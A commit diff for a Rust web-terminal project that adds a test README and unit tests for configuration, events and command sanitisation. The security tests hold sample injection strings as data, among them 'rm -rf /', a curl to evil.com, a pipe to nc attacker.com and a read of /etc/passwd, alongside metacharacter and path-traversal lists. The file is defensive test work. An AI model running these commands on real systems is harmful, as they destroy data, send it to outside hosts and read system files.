- add cargo fmt / clippy to actions build. - add common unit tests. -
improved security sanitization - security spcecific unit tests - add unit tests to workflow build - add unami analytics.
This commit is contained in:
+177
@@ -0,0 +1,177 @@
|
||||
# WebTerm Test Suite
|
||||
|
||||
This directory contains the unit and integration tests for the socktop webterm project.
|
||||
|
||||
## Test Structure
|
||||
|
||||
Tests are organized into separate files by module:
|
||||
|
||||
### `event_tests.rs`
|
||||
Tests for the `event` module, covering:
|
||||
- **IO message creation**: Testing conversion from Bytes, String, and &str
|
||||
- **IO equality and cloning**: Verifying proper equality checks and clone behavior
|
||||
- **Binary and Unicode data**: Testing handling of binary data and Unicode strings
|
||||
- **ChildDied events**: Testing the ChildDied event structure
|
||||
|
||||
**Total tests**: 11
|
||||
|
||||
### `terminado_tests.rs`
|
||||
Comprehensive tests for the Terminado protocol implementation:
|
||||
- **Serialization**: Converting TerminadoMessage to JSON format
|
||||
- `stdin`, `stdout`, and `set_size` (resize) messages
|
||||
- Special characters, Unicode, and empty strings
|
||||
- **Deserialization**: Parsing JSON into TerminadoMessage
|
||||
- Valid message formats
|
||||
- Error handling for invalid JSON, wrong types, wrong lengths
|
||||
- **Round-trip testing**: Serialize → Deserialize → Compare
|
||||
- **Error cases**: Testing all failure modes
|
||||
- Invalid JSON
|
||||
- Wrong array lengths
|
||||
- Non-string types where strings expected
|
||||
- Unknown message types
|
||||
|
||||
**Total tests**: 38
|
||||
|
||||
### `config_tests.rs`
|
||||
Integration tests verifying configuration constants and relationships:
|
||||
- **Timeout values**: Heartbeat, client timeout, idle timeout
|
||||
- **Timeout relationships**: Ensuring timeouts have logical relationships
|
||||
- **PTY configuration**: Initial size, buffer sizes
|
||||
- **Path validation**: Template paths, static paths, endpoints
|
||||
- **Network configuration**: Default ports, hosts
|
||||
- **Size boundaries**: Terminal size limits and validation
|
||||
|
||||
**Total tests**: 17
|
||||
|
||||
### `security_tests.rs`
|
||||
Comprehensive security tests for command sanitization and validation:
|
||||
- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters
|
||||
- **Shell injection prevention**: Detecting and rejecting injection attempts
|
||||
- **Environment variable security**: Sanitizing TERM and other env vars
|
||||
- **Whitelist enforcement**: Only allowing approved shell commands
|
||||
- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns
|
||||
- **Input validation**: Length limits, null byte detection, control characters
|
||||
- **File descriptor security**: No redirection operators in commands
|
||||
- **Unicode and special characters**: ASCII-only enforcement
|
||||
- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc.
|
||||
- **Command execution logging**: Ensuring commands are safely loggable
|
||||
- **Integration with Command::new()**: Verifying safe process spawning
|
||||
- **Complete security checklist**: Comprehensive validation of all security requirements
|
||||
|
||||
**Total tests**: 28 (plus 11 in `src/security.rs`)
|
||||
|
||||
## Running Tests
|
||||
|
||||
### Run all tests
|
||||
```bash
|
||||
cargo test --all-targets --all-features
|
||||
```
|
||||
|
||||
### Run specific test file
|
||||
```bash
|
||||
cargo test --test event_tests
|
||||
cargo test --test terminado_tests
|
||||
cargo test --test config_tests
|
||||
```
|
||||
|
||||
### Run with output
|
||||
```bash
|
||||
cargo test -- --nocapture
|
||||
```
|
||||
|
||||
### Run specific test
|
||||
```bash
|
||||
cargo test test_serialize_resize
|
||||
```
|
||||
|
||||
## Test Coverage
|
||||
|
||||
Current test coverage includes:
|
||||
|
||||
- ✅ **Event handling**: IO messages and ChildDied events
|
||||
- ✅ **Protocol parsing**: Terminado message serialization/deserialization
|
||||
- ✅ **Configuration validation**: Timeout relationships and constants
|
||||
- ✅ **Error handling**: Invalid input parsing and edge cases
|
||||
- ✅ **Data types**: Binary data, Unicode, special characters
|
||||
- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
Tests run automatically in the Gitea Actions workflow:
|
||||
|
||||
1. **Test Job**: Runs `cargo test --all-targets --all-features`
|
||||
2. **Lint Job**: Runs after tests pass
|
||||
3. **Build Job**: Runs after linting passes
|
||||
4. **Deploy Job**: Runs after build passes
|
||||
|
||||
## Adding New Tests
|
||||
|
||||
When adding new tests:
|
||||
|
||||
1. Choose the appropriate test file based on the module being tested
|
||||
2. Follow the existing test naming convention: `test_<feature>_<scenario>`
|
||||
3. Group related tests together with comments
|
||||
4. Include both success and failure cases
|
||||
5. Test edge cases (empty strings, zero values, max values, etc.)
|
||||
6. Add documentation comments for complex test scenarios
|
||||
|
||||
### Example Test Structure
|
||||
```rust
|
||||
#[test]
|
||||
fn test_feature_success_case() {
|
||||
// Arrange
|
||||
let input = setup_test_data();
|
||||
|
||||
// Act
|
||||
let result = function_under_test(input);
|
||||
|
||||
// Assert
|
||||
assert_eq!(result, expected_value);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_feature_error_case() {
|
||||
let invalid_input = "invalid";
|
||||
let result = function_under_test(invalid_input);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
```
|
||||
|
||||
## Test Guidelines
|
||||
|
||||
- **Fast**: Unit tests should run in milliseconds
|
||||
- **Isolated**: Each test should be independent
|
||||
- **Deterministic**: Tests should always produce the same result
|
||||
- **Clear**: Test names should clearly describe what is being tested
|
||||
- **Comprehensive**: Test happy paths, error paths, and edge cases
|
||||
|
||||
## Clippy Allowances
|
||||
|
||||
Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values.
|
||||
|
||||
## Security Features
|
||||
|
||||
The test suite includes comprehensive security validation to prevent:
|
||||
- Shell injection attacks
|
||||
- Path traversal attempts
|
||||
- Command injection via metacharacters
|
||||
- Null byte injection
|
||||
- Execution from untrusted directories
|
||||
- Unicode/encoding tricks
|
||||
- Environment variable injection
|
||||
|
||||
The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution.
|
||||
|
||||
## Total Test Count
|
||||
|
||||
- **Unit tests** (in src/):
|
||||
- terminado.rs: 6 tests
|
||||
- security.rs: 11 tests
|
||||
- **Integration tests** (in tests/):
|
||||
- event_tests.rs: 11 tests
|
||||
- terminado_tests.rs: 38 tests
|
||||
- config_tests.rs: 17 tests
|
||||
- security_tests.rs: 28 tests
|
||||
- **Total**: 111 tests
|
||||
|
||||
All tests must pass before code can be merged.
|
||||
@@ -0,0 +1,291 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Integration tests for configuration and constants
|
||||
|
||||
#![allow(clippy::assertions_on_constants)]
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
// Test that reasonable timeout values are used
|
||||
#[test]
|
||||
fn test_heartbeat_interval_reasonable() {
|
||||
// Heartbeat should be frequent enough to catch disconnects quickly
|
||||
// but not so frequent it creates unnecessary traffic
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
|
||||
assert!(
|
||||
HEARTBEAT_INTERVAL.as_secs() >= 1,
|
||||
"Heartbeat interval too short"
|
||||
);
|
||||
assert!(
|
||||
HEARTBEAT_INTERVAL.as_secs() <= 30,
|
||||
"Heartbeat interval too long"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_client_timeout_reasonable() {
|
||||
// Client timeout should be longer than heartbeat interval
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
assert!(
|
||||
CLIENT_TIMEOUT > HEARTBEAT_INTERVAL,
|
||||
"Client timeout must be longer than heartbeat interval"
|
||||
);
|
||||
assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short");
|
||||
assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_idle_timeout_reasonable() {
|
||||
// Idle timeout should be long enough for legitimate use
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short");
|
||||
assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_idle_check_interval_reasonable() {
|
||||
// Idle check should be frequent enough to be responsive
|
||||
// but not so frequent it wastes resources
|
||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||
"Idle check interval must be less than idle timeout"
|
||||
);
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL.as_secs() >= 10,
|
||||
"Idle check too frequent"
|
||||
);
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL.as_secs() <= 120,
|
||||
"Idle check too infrequent"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_timeout_relationships() {
|
||||
// Verify the logical relationship between different timeouts
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
// Client timeout should be at least 2x heartbeat interval
|
||||
assert!(
|
||||
CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2,
|
||||
"Client timeout should be at least 2x heartbeat interval"
|
||||
);
|
||||
|
||||
// Idle timeout should be much longer than client timeout
|
||||
assert!(
|
||||
IDLE_TIMEOUT > CLIENT_TIMEOUT * 10,
|
||||
"Idle timeout should be significantly longer than client timeout"
|
||||
);
|
||||
|
||||
// Idle check should be less than idle timeout
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||
"Idle check interval must be less than idle timeout"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_pty_initial_size() {
|
||||
// Test that initial PTY size is reasonable
|
||||
const INITIAL_ROWS: u16 = 24;
|
||||
const INITIAL_COLS: u16 = 80;
|
||||
|
||||
// Verify the constants are within reasonable ranges
|
||||
assert!(INITIAL_ROWS > 0, "Initial rows should be positive");
|
||||
assert!(INITIAL_COLS > 0, "Initial cols should be positive");
|
||||
assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500");
|
||||
assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_buffer_size() {
|
||||
// Test that buffer size for reading from PTY is reasonable
|
||||
const BUFFER_SIZE: usize = 8192;
|
||||
|
||||
// Verify it's a power of 2 (which implies it's >= 1)
|
||||
assert!(
|
||||
BUFFER_SIZE.is_power_of_two(),
|
||||
"Buffer size should be power of 2"
|
||||
);
|
||||
// Verify it's in a reasonable range (power of 2 check above ensures >= 1)
|
||||
assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use");
|
||||
}
|
||||
|
||||
// Test path validation
|
||||
#[test]
|
||||
fn test_template_path_format() {
|
||||
let template_path = "./templates/term.html";
|
||||
|
||||
assert!(
|
||||
template_path.starts_with("./"),
|
||||
"Template path should be relative"
|
||||
);
|
||||
assert!(
|
||||
template_path.ends_with(".html"),
|
||||
"Template should be HTML file"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_static_paths_format() {
|
||||
let static_paths = vec![
|
||||
"./static/terminal.js",
|
||||
"./static/terminado-addon.js",
|
||||
"./static/styles.css",
|
||||
"./static/bg.png",
|
||||
"./static/favicon.png",
|
||||
];
|
||||
|
||||
for path in static_paths {
|
||||
assert!(
|
||||
path.starts_with("./static/"),
|
||||
"Static file {} should be in ./static/ directory",
|
||||
path
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Test endpoint format
|
||||
#[test]
|
||||
fn test_endpoint_format() {
|
||||
let websocket_endpoint = "/websocket";
|
||||
let static_endpoint = "/static";
|
||||
let assets_endpoint = "/assets";
|
||||
|
||||
assert!(
|
||||
websocket_endpoint.starts_with('/'),
|
||||
"Endpoint should start with /"
|
||||
);
|
||||
assert!(
|
||||
!websocket_endpoint.ends_with('/'),
|
||||
"Endpoint should not end with /"
|
||||
);
|
||||
|
||||
assert!(
|
||||
static_endpoint.starts_with('/'),
|
||||
"Static endpoint should start with /"
|
||||
);
|
||||
assert!(
|
||||
assets_endpoint.starts_with('/'),
|
||||
"Assets endpoint should start with /"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_shell() {
|
||||
let default_shell = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
default_shell.starts_with('/'),
|
||||
"Shell path should be absolute"
|
||||
);
|
||||
assert!(
|
||||
!default_shell.contains(' '),
|
||||
"Shell path should not contain spaces"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_port() {
|
||||
let default_port: u16 = 8082;
|
||||
|
||||
assert!(
|
||||
default_port >= 1024,
|
||||
"Port should not be in privileged range"
|
||||
);
|
||||
// Note: u16 max is 65535, so this is always true for u16
|
||||
// but we keep it for documentation purposes
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_host() {
|
||||
let localhost = "127.0.0.1";
|
||||
let all_interfaces = "0.0.0.0";
|
||||
|
||||
// Verify valid IP addresses
|
||||
assert_eq!(
|
||||
localhost.split('.').count(),
|
||||
4,
|
||||
"Localhost should have 4 octets"
|
||||
);
|
||||
assert_eq!(
|
||||
all_interfaces.split('.').count(),
|
||||
4,
|
||||
"0.0.0.0 should have 4 octets"
|
||||
);
|
||||
}
|
||||
|
||||
// Test environment variables
|
||||
#[test]
|
||||
fn test_term_env_var() {
|
||||
let term_var = "xterm";
|
||||
|
||||
// String literals are never empty, but we verify the expected value
|
||||
assert_eq!(term_var, "xterm", "TERM variable should be xterm");
|
||||
assert!(
|
||||
!term_var.contains(' '),
|
||||
"TERM variable should not contain spaces"
|
||||
);
|
||||
}
|
||||
|
||||
// Test size boundaries
|
||||
#[test]
|
||||
fn test_terminal_size_boundaries() {
|
||||
// Minimum valid size
|
||||
let min_rows: u16 = 1;
|
||||
let min_cols: u16 = 1;
|
||||
|
||||
assert!(min_rows > 0, "Minimum rows must be positive");
|
||||
assert!(min_cols > 0, "Minimum cols must be positive");
|
||||
|
||||
// Maximum reasonable size
|
||||
let max_rows: u16 = 1000;
|
||||
let max_cols: u16 = 1000;
|
||||
|
||||
assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable");
|
||||
assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_zero_size_handling() {
|
||||
// Zero-sized terminals should be rejected
|
||||
let zero_rows: u16 = 0;
|
||||
let zero_cols: u16 = 0;
|
||||
|
||||
// These would be rejected by the resize handler
|
||||
assert_eq!(zero_rows, 0);
|
||||
assert_eq!(zero_cols, 0);
|
||||
// In actual code, these should trigger an early return
|
||||
}
|
||||
|
||||
// Test WebSocket message size limits
|
||||
#[test]
|
||||
fn test_message_size_reasonable() {
|
||||
// Messages should have reasonable size limits
|
||||
const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB
|
||||
const MIN_MESSAGE_SIZE: usize = 8192; // 8KB
|
||||
const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB
|
||||
|
||||
// Verify the relationship between constants
|
||||
assert!(
|
||||
MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE,
|
||||
"Max message size should be at least {} bytes",
|
||||
MIN_MESSAGE_SIZE
|
||||
);
|
||||
assert!(
|
||||
MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE,
|
||||
"Max message size should not exceed {} bytes",
|
||||
MAX_ALLOWED_SIZE
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Unit tests for event.rs module
|
||||
|
||||
use bytes::Bytes;
|
||||
use webterm::event::{ChildDied, IO};
|
||||
|
||||
#[test]
|
||||
fn test_io_from_bytes() {
|
||||
let data = Bytes::from("test data");
|
||||
let io = IO::from(data.clone());
|
||||
assert_eq!(io.0, data);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_from_string() {
|
||||
let data = String::from("test string");
|
||||
let io = IO::from(data.clone());
|
||||
assert_eq!(io.0, Bytes::from(data));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_from_str() {
|
||||
let data = "test str";
|
||||
let io = IO::from(data);
|
||||
assert_eq!(io.0, Bytes::from(data));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_equality() {
|
||||
let io1 = IO::from("same data");
|
||||
let io2 = IO::from("same data");
|
||||
let io3 = IO::from("different data");
|
||||
|
||||
assert_eq!(io1, io2);
|
||||
assert_ne!(io1, io3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_clone() {
|
||||
let original = IO::from("original data");
|
||||
let cloned = original.clone();
|
||||
|
||||
assert_eq!(original, cloned);
|
||||
assert_eq!(original.0, cloned.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_empty() {
|
||||
let empty = IO::from("");
|
||||
assert_eq!(empty.0.len(), 0);
|
||||
assert!(empty.0.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_binary_data() {
|
||||
let binary_data = vec![0u8, 1, 2, 3, 255];
|
||||
let bytes = Bytes::from(binary_data.clone());
|
||||
let io = IO::from(bytes);
|
||||
|
||||
assert_eq!(io.0.as_ref(), binary_data.as_slice());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_unicode() {
|
||||
let unicode = "Hello 世界 🌍";
|
||||
let io = IO::from(unicode);
|
||||
assert_eq!(io.0, Bytes::from(unicode));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_large_data() {
|
||||
let large_string = "a".repeat(10000);
|
||||
let io = IO::from(large_string.as_str());
|
||||
assert_eq!(io.0.len(), 10000);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_child_died_creation() {
|
||||
let event = ChildDied();
|
||||
// ChildDied is a unit struct, just verify it can be created
|
||||
let _cloned = event.clone();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_child_died_clone() {
|
||||
let event1 = ChildDied();
|
||||
let event2 = event1.clone();
|
||||
// Both should exist without panicking
|
||||
// ChildDied is a zero-sized type, so dropping is a no-op
|
||||
let _ = event1;
|
||||
let _ = event2;
|
||||
}
|
||||
@@ -0,0 +1,494 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Security tests for command sanitization and validation
|
||||
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
// ============================================================================
|
||||
// Command Path Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_must_be_absolute() {
|
||||
// Commands should use absolute paths to avoid PATH manipulation attacks
|
||||
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
cmd.starts_with('/'),
|
||||
"Command '{}' should be an absolute path",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_no_relative_components() {
|
||||
// Commands should not contain relative path components like ../ or ./
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains(".."),
|
||||
"Command '{}' should not contain '..' (path traversal)",
|
||||
cmd
|
||||
);
|
||||
assert!(
|
||||
!cmd.starts_with("./"),
|
||||
"Command '{}' should not start with './' (relative path)",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_shell_injection_attempts() {
|
||||
// These strings should never be allowed in command paths
|
||||
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for pattern in dangerous_patterns {
|
||||
assert!(
|
||||
!safe_command.contains(pattern),
|
||||
"Command should not contain shell metacharacter '{}'",
|
||||
pattern
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_no_spaces() {
|
||||
// Command paths should not contain spaces (use absolute paths only)
|
||||
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
!cmd.contains(' '),
|
||||
"Command path '{}' should not contain spaces",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_canonical() {
|
||||
// Command paths should be canonical (no double slashes, etc.)
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains("//"),
|
||||
"Command '{}' should not contain double slashes",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Environment Variable Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_term_env_var_sanitized() {
|
||||
// TERM variable should be a safe, known value
|
||||
let term_value = "xterm";
|
||||
|
||||
// Should not contain shell metacharacters
|
||||
assert!(!term_value.contains(';'));
|
||||
assert!(!term_value.contains('&'));
|
||||
assert!(!term_value.contains('|'));
|
||||
assert!(!term_value.contains('`'));
|
||||
assert!(!term_value.contains('$'));
|
||||
assert!(!term_value.contains('\n'));
|
||||
assert!(!term_value.contains('\r'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_env_var_no_null_bytes() {
|
||||
// Environment variables should not contain null bytes
|
||||
let term_value = "xterm";
|
||||
assert!(
|
||||
!term_value.contains('\0'),
|
||||
"TERM variable should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_term_values() {
|
||||
// Only allow known-safe TERM values
|
||||
let safe_terms = vec![
|
||||
"xterm",
|
||||
"xterm-256color",
|
||||
"screen",
|
||||
"screen-256color",
|
||||
"vt100",
|
||||
"vt220",
|
||||
"linux",
|
||||
"alacritty",
|
||||
];
|
||||
|
||||
for term in safe_terms {
|
||||
// Verify they are alphanumeric with hyphens only
|
||||
assert!(
|
||||
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
|
||||
"TERM value '{}' should only contain alphanumeric and hyphens",
|
||||
term
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Command Arguments Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_builder_no_shell_expansion() {
|
||||
// Using Command::new prevents shell expansion
|
||||
let cmd = "/bin/sh";
|
||||
let command = Command::new(cmd);
|
||||
|
||||
// Command::new does not invoke a shell, so these would be literal arguments
|
||||
// This is the safe way to spawn processes
|
||||
let program = command.get_program();
|
||||
assert_eq!(program, cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_shell_command_string_execution() {
|
||||
// We should never use sh -c "command string" pattern
|
||||
// This test documents that we use Command::new, not shell strings
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
// Verify we're not constructing shell command strings
|
||||
assert!(!safe_command.contains(" -c "));
|
||||
assert!(!safe_command.contains(" -e "));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_command_injection_patterns() {
|
||||
// These patterns indicate command injection attempts
|
||||
let injection_attempts = vec![
|
||||
"/bin/sh; rm -rf /",
|
||||
"/bin/bash && curl evil.com",
|
||||
"/bin/sh | nc attacker.com 1234",
|
||||
"/bin/bash `whoami`",
|
||||
"/bin/sh $(cat /etc/passwd)",
|
||||
];
|
||||
|
||||
for attempt in injection_attempts {
|
||||
// Any of these characters indicate shell injection
|
||||
let has_injection = attempt.contains(';')
|
||||
|| attempt.contains('&')
|
||||
|| attempt.contains('|')
|
||||
|| attempt.contains('`')
|
||||
|| attempt.contains("$(");
|
||||
|
||||
assert!(
|
||||
has_injection,
|
||||
"Should detect injection attempt in: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Path Traversal Prevention Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_path_traversal_in_command() {
|
||||
// Commands should not allow path traversal
|
||||
let path_traversal_attempts = vec![
|
||||
"../../../bin/sh",
|
||||
"/bin/../../../etc/passwd",
|
||||
"./evil.sh",
|
||||
"~/malicious.sh",
|
||||
];
|
||||
|
||||
for attempt in path_traversal_attempts {
|
||||
assert!(
|
||||
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
|
||||
"Path traversal attempt: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_command_paths_exist() {
|
||||
// Common safe shell paths that should exist on most systems
|
||||
let common_shells = vec!["/bin/sh"];
|
||||
|
||||
for shell in common_shells {
|
||||
if Path::new(shell).exists() {
|
||||
// Verify it's an absolute path
|
||||
assert!(shell.starts_with('/'), "Shell path should be absolute");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Input Size Limits Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_reasonable_length() {
|
||||
// Command paths should have reasonable length limits
|
||||
let max_path_length = 4096; // Common PATH_MAX on Linux
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
command.len() < max_path_length,
|
||||
"Command path should be less than {} bytes",
|
||||
max_path_length
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_excessively_long_paths() {
|
||||
let excessive_path = "/".to_string() + &"a".repeat(10000);
|
||||
|
||||
assert!(
|
||||
excessive_path.len() > 4096,
|
||||
"Test path should exceed reasonable limits"
|
||||
);
|
||||
// In real code, we should reject paths this long
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Whitelist Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_allowed_shells_whitelist() {
|
||||
// Define a whitelist of allowed shells
|
||||
let allowed_shells = vec![
|
||||
"/bin/sh",
|
||||
"/bin/bash",
|
||||
"/bin/zsh",
|
||||
"/usr/bin/bash",
|
||||
"/usr/bin/zsh",
|
||||
"/bin/dash",
|
||||
];
|
||||
|
||||
// All allowed shells should be absolute paths
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
shell.starts_with('/'),
|
||||
"Whitelisted shell '{}' must be absolute path",
|
||||
shell
|
||||
);
|
||||
}
|
||||
|
||||
// All allowed shells should not contain dangerous characters
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
!shell.contains(';'),
|
||||
"Whitelisted shell '{}' should not contain ';'",
|
||||
shell
|
||||
);
|
||||
assert!(
|
||||
!shell.contains('&'),
|
||||
"Whitelisted shell '{}' should not contain '&'",
|
||||
shell
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_command_against_whitelist() {
|
||||
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
let test_command = "/bin/sh";
|
||||
assert!(
|
||||
allowed_shells.contains(&test_command),
|
||||
"Command should be in whitelist"
|
||||
);
|
||||
|
||||
let dangerous_command = "/tmp/malicious.sh";
|
||||
assert!(
|
||||
!allowed_shells.contains(&dangerous_command),
|
||||
"Dangerous command should not be in whitelist"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Null Byte Injection Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_null_bytes_in_command() {
|
||||
// Null bytes can truncate commands in some contexts
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!safe_command.contains('\0'),
|
||||
"Command should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_detect_null_byte_injection() {
|
||||
// Test that we can detect null byte injection attempts
|
||||
let injection = "/bin/sh\0malicious";
|
||||
|
||||
assert!(
|
||||
injection.contains('\0'),
|
||||
"Should detect null byte in command"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// File Descriptor Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_file_descriptor_redirection_in_command() {
|
||||
// Commands should not contain file descriptor redirections
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(!command.contains('>'), "No output redirection");
|
||||
assert!(!command.contains('<'), "No input redirection");
|
||||
assert!(!command.contains("2>&1"), "No stderr redirection");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Unicode and Special Character Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_ascii_only() {
|
||||
// Command paths should be ASCII to avoid Unicode tricks
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_control_characters_in_command() {
|
||||
// Commands should not contain control characters
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for ch in safe_command.chars() {
|
||||
assert!(
|
||||
!ch.is_control() || ch == '\n' || ch == '\t',
|
||||
"Command should not contain control character: {:?}",
|
||||
ch
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
